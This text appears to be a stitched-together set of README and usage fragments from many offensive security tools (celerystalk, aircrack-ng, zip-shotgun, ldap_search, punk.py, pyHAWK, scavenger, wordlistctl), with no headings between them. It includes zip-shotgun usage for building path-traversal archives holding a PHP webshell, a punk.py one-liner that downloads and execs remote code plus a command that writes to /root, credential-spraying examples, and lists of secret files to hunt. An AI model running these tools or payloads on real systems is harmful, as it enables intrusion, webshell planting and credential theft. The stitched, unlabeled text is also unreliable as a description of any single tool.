   cancel	Canceling a running task will send a kill -TERM Canceling a queued task* will make celery ignore it (uses celery's revoke). Canceling all tasks* will kill running tasks and revoke all queued tasks.
   pause	Pausing a single task uses kill -STOP to suspend the process. Pausing all tasks* attemps to kill -STOP all running tasks, but it is a little wonky and you mind need to run it a few times. It is possible a job completed before it was able to be paused, which means you will have a worker that is still accepting new jobs.
   resume	Resuming tasks* sends a kill -CONT which allows the process to start up again where it left off.

   Cancel/Pause/Resume Tasks:  ./celerystalk <verb> 5,6,10-20          #Cancel/Pause/Resume tasks 5, 6, and 10-20 from current workspace
                               ./celerystalk <verb> all                #Cancel/Pause/Resume all tasks from current workspaces

10. Run Report: Run a report which combines all of the tool output into an html file and a txt file. Run this as often as you like. Each time you run the report it overwrites the previous report.
    

    Create Report:              ./celerystalk report                    #Create a report for all scanneed hosts in current workspace
    

    Screenshot:
    
    
11. Access the DB: List the workspaces, hosts, services, or paths stored in the celerystalk database
    

    Option	Description
    workspaces	Show all known workspaces and the output directory associated with each workspace
    services	Show all known open ports and service types by IP
    hosts	Show all hosts (IP addresses and subdomains/vhosts) and whether they are in scope and whether they have been submitted for scanning
    paths	Show all paths that have been identified by vhost
    -w workspace	Specify a non-default workspace

    Show workspaces:            ./celeryststalk db workspaces
    Show services:              ./celeryststalk db services    
    Show hosts:                 ./celeryststalk db hosts
    Show paths:                 ./celeryststalk db paths

12. Export DB: Export each table of the DB to a csv file
    

    Option	Description
    no options	Export the services, hosts, and paths table from the default database
    -w workspace	Specify a non-default workspace

    Export current DB:        ./celerystalk db export
    Export another DB:        ./celerystalk db export -w test

Usage:
    celerystalk workspace create -o <output_dir> [-w workspace_name]
    celerystalk workspace [<workspace_name>]
    celerystalk import [-f <nmap_file>] [-S scope_file] [-D subdomains_file] [-u <url>]
    celerystalk subdomains -d <domains> [-s]
    celerystalk scan [-f <nmap_file>] [-t <targets>] [-d <domains>] [-S scope_file] [-D subdomains_file] [-s]
    celerystalk scan -u <url> [-s]
    celerystalk rescan [-t <targets>] [-s]
    celerystalk query ([full] | [summary] | [brief]) [watch]
    celerystalk query [watch] ([full] | [summary] | [brief])
    celerystalk report
    celerystalk cancel ([all]|[<task_ids>])
    celerystalk pause  ([all]|[<task_ids>])
    celerystalk resume ([all]|[<task_ids>])
    celerystalk db ([workspaces] | [services] | [hosts] | [vhosts] | [paths])
    celerystalk db export
    celerystalk shutdown
    celerystalk interactive
    celerystalk (help | -h | --help)

Options:
    -h --help           Show this screen
    -v --version        Show version
    -f <nmap_file>      Nmap xml import file
    -o <output_dir>     Output directory
    -S <scope_file>      Scope import file
    -D <subdomains_file> Subdomains import file
    -t <targets>        Target(s): IP, IP Range, CIDR
    -u <url>            URL to parse and scan with all configured tools
    -w <workspace>      Workspace
    -d --domains        Domains to scan for vhosts
    -s --simulation     Simulation mode.  Submit tasks comment out all commands

Examples:

  Workspace
    Create default workspace    celerystalk workspace create -o /assessments/client
    Create named workspace      celerystalk workspace create -o /assessments/client -w client
    Switch to another worksapce celerystalk workspace client2

  Import
    Import Nmap XML file:       celerystalk import -f /assessments/nmap.xml
    Import Nessus file:         celerystalk import -f /assessments/scan.nessus
    Import list of Domains:     celerystalk import -D <file>
    Import list of IPs/Ranges:  celerystalk import -S <file>
    Import multiple files:      celerystalk import -f nmap.xml -S scope.txt -D domains.txt

Subdomain Recon
    Find subdomains:            celerystalk subdomains -d domain1.com,domain2.com

  Scan
    Scan all in scope hosts:    celerystalk scan
    Scan subset of DB hosts:    celerystalk scan -t 10.0.0.1,10.0.0.3
                                celerystalk scan -t 10.0.0.100-200
                                celerystalk scan -t 10.0.0.0/24
                                celerystalk scan -t sub.domain.com
    Simulation mode:            celerystalk scan -s

  Import and Scan
    Start from Nmap XML file:   celerystalk scan -f /pentest/nmap.xml
    Start from Nessus file:     celerystalk scan -f /pentest/scan.nessus
    Scan subset hosts in XML:   celerystalk scan -f <file> -t 10.0.0.1,10.0.0.3
                                celerystalk scan -f <file> -t 10.0.0.100-200
                                celerystalk scan -f <file> -t 10.0.0.0/24
                                celerystalk scan -f <file> -t sub.domain.com
    Simulation mode:            celerystalk scan -f <file> -s

  Rescan
   Rescan all hosts:            celerystalk rescan
   Rescan some hosts            celerystalk rescan-t 1.2.3.4,sub.domain.com
   Simulation mode:             celerystalk rescan -s

  Query Mode
    All tasks:                  celerystalk query
    Update status every 2s:     celerystalk query watch
    Show only 5 tasks per mode: celerystalk query brief
    Show stats only             celerystalk query summary
    Show stats every 2s:        celerystalk query summary watch

 Job Control (cancel/pause/resume)
    Specific tasks:             celerystalk cancel 5,6,10-20
                                celerystalk pause 5,6,10-20
                                celerystalk resume 5,6,10-20

    All tasks current worspace: celerystalk cancel all
                                celerystalk pause all
                                celerystalk resume all

  Access the DB
    Show workspaces:            celeryststalk db workspaces
    Show services:              celeryststalk db services
    Show hosts:                 celeryststalk db hosts
    Show vhosts only            celeryststalk db vhosts
    Show paths:                 celeryststalk db paths

  Export DB
    Export current DB:          celerystalk db export

1. https://github.com/codingo/Reconnoitre by @codingo_
2. https://github.com/frizb/Vanquish by @frizb
3. https://github.com/leebaird/discover by @discoverscripts
4. https://github.com/1N3/Sn1per
5. https://github.com/SrFlipFlop/Network-Security-Analysis by @SrFlipFlop

1. @decidedlygray for pointing me towards celery, helping me solve python problems that were over my head, and for the extensive beta testing
2. @kerpanic for inspiring me to dust off an old project and turn it into celerystalk
3. My TUV OpenSky team and my IthacaSec hackers for testing this out and submitting bugs and features

• Network Interface - Information, Configure
• IP-Scanner
• Port-Scanner
• Ping
• Traceroute
• DNS Lookup
• Remote Desktop
• PuTTY (requires PuTTY)
• TightVNC (requires TightVNC)
• SNMP - Get, Walk, Set (v1, v2c, v3)
• Wake on LAN
• HTTP Headers
• Whois
• Subnet Calculator - Calculator, Subnetting, Supernetting
• Lookup - OUI, Port
• Connections
• Listeners
• ARP Table

• English
• German
• Russian
• Spanish

• Windows 7/Server 2008 R2 or later
• .NET-Framework 4.6
• RDP 8.1 (How to install RDP 8.1 on Windows 7/Server 2008 R2?)

• Monitoring: Packet capture and export of data to text files for further processing by third party tools.
• Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
• Testing: Checking WiFi cards and driver capabilities (capture and injection).
• Cracking: WEP and WPA PSK (WPA 1 and 2).

• Autoconf
• Automake
• Libtool
• shtool
• OpenSSL development package or libgcrypt development package.
• Airmon-ng (Linux) requires ethtool.
• On windows, cygwin has to be used and it also requires w32api package.
• On Windows, if using clang, libiconv and libiconv-devel
• Linux: LibNetlink 1 or 3. It can be disabled by passing --disable-libnl to configure.
• pkg-config (pkgconf on FreeBSD)
• FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake
• Linux/Cygwin: make and Standard C++ Library development package (Debian: libstdc++-dev)

• If you want SSID filtering with regular expression in airodump-ng (-essid-regex) pcre development package is required.
• If you want to use airolib-ng and '-r' option in aircrack-ng, SQLite development package >= 3.3.17 (3.6.X version or better is recommended)
• If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
• In order to build besside-ng, besside-ng-crawler, easside-ng, tkiptun-ng and wesside-ng, libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
• For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc8
• rfkill
• For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
• CMocka for unit testing

sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev

sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel

pkg install pkgconf shtool libtool gcc8 automake autoconf pcre sqlite3 openssl gmake hwloc cmocka

pkg install pkgconf shtool libtool gcc7 automake autoconf pcre sqlite3 libgcrypt gmake cmocka

pkg_add pkgconf shtool libtool gcc automake autoconf pcre sqlite3 openssl gmake cmocka

brew install autoconf automake libtool openssl shtool pkg-config hwloc pcre sqlite3 libpcap cmocka

c:\cygwin\setup-x86.exe -qnNdO -R C:/cygwin -s http://cygwin.mirror.constant.com -l C:/cygwin/var/cache/setup -P autoconf -P automake -P bison -P gcc-core -P gcc-g++ -P mingw-runtime -P mingw-binutils -P mingw-gcc-core -P mingw-gcc-g++ -P mingw-pthreads -P mingw-w32api -P libtool -P make -P python -P gettext-devel -P gettext -P intltool -P libiconv -P pkg-config -P git -P wget -P curl -P libpcre-devel -P openssl-devel -P libsqlite3-devel

pacman -Sy autoconf automake-wrapper libtool msys2-w32api-headers msys2-w32api-runtime gcc pkg-config git python openssl-devel openssl libopenssl msys2-runtime-devel gcc binutils make pcre-devel libsqlite-devel

./configure <options>

• Compilation:
  make
  
• Compilation on *BSD or Solaris:
  gmake
  

• Execute all unit testing:
  make check
  
• Installing:
  make install
  
• Uninstall:
  make uninstall
  

• with-airpcap=DIR: needed for supporting airpcap devices on windows (cygwin or msys2 only) Replace DIR above with the absolute location to the root of the extracted source code from the Airpcap CD or downloaded SDK available online. Required on Windows to build besside-ng, besside-ng-crawler, easside-ng, tkiptun-ng and wesside-ng when building experimental tools. The developer pack (Compatible with version 4.1.1 and 4.1.3) can be downloaded at https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html
  
• with-experimental: needed to compile tkiptun-ng, easside-ng, buddy-ng, buddy-ng-crawler, airventriloquist and wesside-ng. libpcap development package is also required to compile most of the tools. If not present, not all experimental tools will be built. On Cygwin, libpcap is not present and the Airpcap SDK replaces it. See --with-airpcap option above.
  
• with-ext-scripts: needed to build airoscript-ng, versuck-ng, airgraph-ng and airdrop-ng. Note: Each script has its own dependencies.
  
• with-gcrypt: Use libgcrypt crypto library instead of the default OpenSSL. And also use internal fast sha1 implementation (borrowed from GIT) Dependency (Debian): libgcrypt20-dev
  
• with-duma: Compile with DUMA support. DUMA is a library to detect buffer overruns and under-runs. Dependencies (debian): duma
  
• disable-libnl: Set-up the project to be compiled without libnl (1 or 3). Linux option only.
  
• without-opt: Do not enable stack protector (on GCC 4.9 and above).
  
• enable-shared: Make OSdep a shared library.
  
• disable-shared: When combined with enable-static, it will statically compile Aircrack-ng.
  
• with-avx512: On x86, add support for AVX512 instructions in aircrack-ng. Only use it when the current CPU supports AVX512.
  
• with-static-simd=: Compile a single optimization in aircrack-ng binary. Useful when compiling statically and/or for space-constrained devices. Valid SIMD options: x86-sse2, x86-avx, x86-avx2, x86-avx512, ppc-altivec, ppc-power8, arm-neon, arm-asimd. Must be used with --enable-static --disable-shared. When using those 2 options, the default is to compile the generic optimization in the binary. --with-static-simd merely allows to choose another one.
  

• Configure and compiling:
  

  ./configure --with-experimental
  make

• Compiling with gcrypt:
  

  ./configure --with-gcrypt
  make

• Installing:
  make install
  
• Installing (strip binaries):
  make install-strip
  
• Installing, with external scripts:
  

  ./configure --with-experimental --with-ext-scripts
  make
  make install

• Testing (with sqlite, experimental and pcre)
  

  ./configure --with-experimental
  make
  make check

• Compiling on OS X with macports (and all options):
  

  ./configure --with-experimental
  gmake

• Compiling on OS X 10.10 with XCode 7.1 and Homebrew:
  

  env CC=gcc-4.9 CXX=g++-4.9 ./configure
  make
  make check

  NOTE: Older XCode ships with a version of LLVM that does not support CPU feature detection; which causes the ./configure to fail. To work around this older LLVM, it is required that a different compile suite is used, such as GCC or a newer LLVM from Homebrew.
  If you wish to use OpenSSL from Homebrew, you may need to specify the location to its' installation. To figure out where OpenSSL lives, run:
  brew --prefix openssl
  Use the output above as the DIR for --with-openssl=DIR in the ./configure line:
  

  env CC=gcc-4.9 CXX=g++-4.9 ./configure --with-openssl=DIR
  make
  make check

• Compiling on FreeBSD with gcc8
  

  env CC=gcc8 CXX=g++8 MAKE=gmake ./configure
  gmake

• Compiling on Cygwin with Airpcap (assuming Airpcap devpack is unpacked in Aircrack-ng directory)
  

  cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src
  cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-osdep
  cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-crypto
  cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-util
  dlltool -D Airpcap_Devpack/bin/x86/airpcap.dll -d build/airpcap.dll.def -l Airpcap_Devpack/bin/x86/libairpcap.dll.a
  autoreconf -i
  ./configure --with-experimental --with-airpcap=$(pwd)
  make

• Compiling on DragonflyBSD with gcrypt using GCC 7
  

  autoreconf -i
  env CC=gcc7 CXX=g++7 MAKE=gmake ./configure --with-experimental --with-gcrypt
  gmake

• Compiling on OpenBSD (with autoconf 2.69 and automake 1.16)
  

  export AUTOCONF_VERSION=2.69
  export AUTOMAKE_VERSION=1.16
  autoreconf -i
  env MAKE=gmake ./configure
  gmake

• Use your package manager to download aircrack-ng
• In most cases, they have an old version.

• Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data).
• aircrack-ng suite is command line tools. So, you have to open a commandline Start menu -> Run... -> cmd.exe then use them
• Run the executables without any parameters to have help

1. Install using Python pip
   pip install zip-shotgun --upgrade
   
2. Clone git repository and install
   git clone https://github.com/jpiechowka/zip-shotgun.git
   Execute from root directory of the cloned repository (where setup.py file is located)
   pip install . --upgrade
   

Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

Options:
  --version                       Show the version and exit.
  -c, --directories-count INTEGER
                                  Count of how many directories to go back
                                  inside the zip file (e.g 3 means that 3
                                  files will be added to the zip: shell.php,
                                  ../shell.php and ../../shell.php where
                                  shell.php is the name of the shell you
                                  provided or randomly generated value
                                  [default: 16]
  -n, --shell-name TEXT           Name of the shell inside the generated zip
                                  file (e.g shell). If not provided it will be
                                  randomly generated. Cannot have whitespaces
  -f, --shell-file-path PATH      A file that contains code for the shell. If
                                  this option is not provided wwwolf
                                  (https://github.com/WhiteWinterWolf/wwwolf-
                                  php-webshell) php shell will be added
                                  instead. If name is provided it will be
                                  added to the zip with the provided name or
                                  if not provided the name will be randomly
                                  generated.
  --compress                      Enable compression. If this flag is set
                                  archive will be compressed using DEFALTE
                                  algorithm with compression level of 9. By
                                  default there is no compression applied.
  -h, --help                      Show this message and exit.

1. Using all default options
   zip-shotgun archive.zip
   Part of the script output
   

   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
   12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
   ...
   12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL

2. Using default options and enabling compression for archive file
   zip-shotgun --compress archive.zip
   Part of the script output
   

   12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
   12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
   12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
   12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
   ...
   12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL

3. Using default options but changing the number of directories to go back in the archive to 3
   zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
   The script will write 3 files in total to the archive
   Part of the script output
   

   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
   12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
   12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL

4. Using default options but providing shell name inside archive and enabling compression
   Shell name cannot have whitespaces
   zip-shotgun --shell-name custom-name --compress archive.zip
zip-shotgun -n custom-name --compress archive.zip
   Name for shell files inside the archive will be set to the one provided by the user.
   Part of the script output
   

   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
   ...
   12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL

5. Provide custom shell file but use random name inside archive. Set directories count to 3
   zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
zip-shotgun -c 3 -f ./custom-shell.php archive.zip
   Shell code will be extracted from user provided file. Names inside the archive will be randomly generated.
   Part of the script output
   

   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
   12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL

6. Provide custom shell file and set shell name to save inside archive. Set directories count to 3 and use compression
   zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
   Shell code will be extracted from user provided file. Names inside the archive will be set to user provided name.
   Part of the script output
   

   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
   12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL

git clone --recursive https://github.com/m8r0wn/ldap_search
cd ldap_search
sudo chmod +x setup.sh
sudo ./setup.sh

python3 ldap_search.py users -u user1 -p Password1 -d demo.local

python3 ldap_search.py users -q AdminUser -u user1 -p Password1 -d demo.local

python3 ldap_search.py computers -u user1 -p Password1 -d demo.local

python3 ldap_search.py computers -q eol -u user1 -p Password1 -d demo.local -s DC01.demo.local

python3 ldap_search.py groups -u user1 -p Password1 -d demo.local -s 192.168.1.1

python3 ldap_search.py groups -q "Domain Admins" -u user1 -p Password1 -d demo.local

User
  active / [None] - All active users (Default)
  all - All users, even disabled
  [specific account or email] - lookup user, ex. "m8r0wn"

group
  [None] - All domain groups
  [Specific group name] - lookup group members, ex. "Domain Admins"

computer
  [None] - All Domain Computers
  eol - look for all end of life systems on domain

positional arguments:
  lookup_type       Lookup Types: user, group, computer

optional arguments:
  -q QUERY          Specify user or group to query or use eol.
  -u USER           Single username
  -U USER           Users.txt file
  -p PASSWD         Single password
  -P PASSWD         Password.txt file
  -H HASH           Use Hash for Authentication
  -d DOMAIN         Domain (Ex. demo.local)
  -s SRV, -srv SRV  LDAP Server (optional)
  -t TIMEOUT        Connection Timeout (Default: 4)
  -v                Show Search Result Attribute Names
  -vv               Show Failed Logins & Errors

 ~$ ./punk.py

 ~$ ./punk.py --no-passwd --home /home/ldapusers/

 ~$ ./punk.py --run "sudo sh -c 'echo iamROOT>/root/hacked.txt'"

 ~$ python -c "import urllib2;exec(urllib2.urlopen('https://raw.githubusercontent.com/r3vn/punk.py/master/punk.py').read())" --no-passwd

• improve private keys hunting including dsa keys
• Recursion
• SSH keys with password bruteforce
• Hashed known_hosts bruteforce ( https://blog.rootshell.be/2010/11/03/bruteforcing-ssh-known_hosts-files/ )

$ git clone https://github.com/abdulgaphy/r3con1z3r.git
$ cd r3con1z3r
$ pip install -r requirements.txt

$ sudo chmod +x r3con1z3r.py

• To run on all Operating Systems (Linux, Windows, Mac OS X, Android e.t.c) i.e Python 2 environment

• To run on python3 environment:

• To run as executable Unix only

 pip3 install -r requirements.txt

• Error importing... -> You should try manual pip install package
• Error connecting to server -> Cant connect to ahmia browser If deep explorer can not execute service ..., do it manually, deep explorer checks the tor instance at the beginning so it will skip that part

• Hash cracking.
• Hash generation.
• Automatic hash type identification.
• Supports MD5, SHA1, SHA256, SHA384, SHA512 etc...

• In Install Python 3.7, enable Add Python 3.6 to PATH

git clone https://github.com/Sameera-Madhushan/Hashie
cd Hashie
pip3 install -r requirements.txt
python3 hashie.py

• Scans directory for intresting file types
• Outputs them to the screen
• Supports many file types

git clone https://github.com/MetaChar/pyHAWK
python2 main.py

python2 main.py -d <directory>

• .pem
• .pkcs12
• .p12
• .pfx
• .asc
• .jks
• .keychain

• .agilekeychain
• .kwallet
• .bek
• .tpm
• .psafe3

• .sdf
• .sqlite
• .fve
• .pcap
• .gnucash
• .dayone
• .mdf

• .log

• .cscfg
• .rdp
• .tblk
• .ovpn

• credentials.xml
• robomongo.json
• filezilla.xml
• recentservers.xml
• ventrilo_srv.ini
• terraform.tfvars
• secret_token.rb
• carrierwave.rb
• omniauth.rb
• settings.py
• database.yml

• journal.txt
• Favorites.plist

• root.txt
• users.txt
• passwords.txt
• login.txt

• jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml
• LocalSettings.php
• configuration.user.xpl
• knife.rb

• Install CrackMapExec - CrackMapExec Installation Page

$ python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

$ python3 ./scavenger.py smb --target iplist --username administrator --password Password123 --domain test.local --overwrite

• Impacket (@agsolino)
• CrackMapExec (@byt3bl33d3r)
• ccsrch (@adamcaudill)
• LaZagne

[ sepehrdad@blackarch-dev ~/blackarch/repos/wordlistctl ]$ wordlistctl -H
--==[ wordlistctl by blackarch.org ]==--

usage:

  wordlistctl -f <arg> [options] | -s <arg> [options] | -S <arg> | <misc>

options:

  -f <num>   - download chosen wordlist - ? to list wordlists with id
  -d <dir>   - wordlists base directory (default: /usr/share/wordlists)
  -c <num>   - change wordlists category - ? to list wordlists categories
  -s <regex> - wordlist to search using <regex> in base directory
  -S <regex> - wordlist to search using <regex> in sites
  -h         - prefer http
  -X         - decompress wordlist
  -F <str>   - list wordlists in categories given
  -r         - remove compressed file after decompression
  -t <num>   - max download threads (default: 10)

misc:

  -U         - update config files
  -V         - print version of wordlistctl and exit
  -H         - print this help and exit

example:

  # download and decompress all wordlists and remove archive
  $ wordlistctl -f 0 -Xr

  # download all wordlists in username category
  $ wordlistctl -f 0 -c 0

  # list all wordlists in password category with id
  $ wordlistctl -f ? -c 1

  # download and decompress all wordlists in misc category
  $ wordlistctl -f 0 -c 4 -X

  # download all wordlists in filename category using 20 threads
  $ wordlistctl -c 3 -f 0 -t 20

  # download wordlist with id 2 to "~/wordlists" directory using http
  $ wordlistctl -f 2 -d ~/wordlists -h
  # print wordlists in username and password categories
  $ wordlistctl -F username,password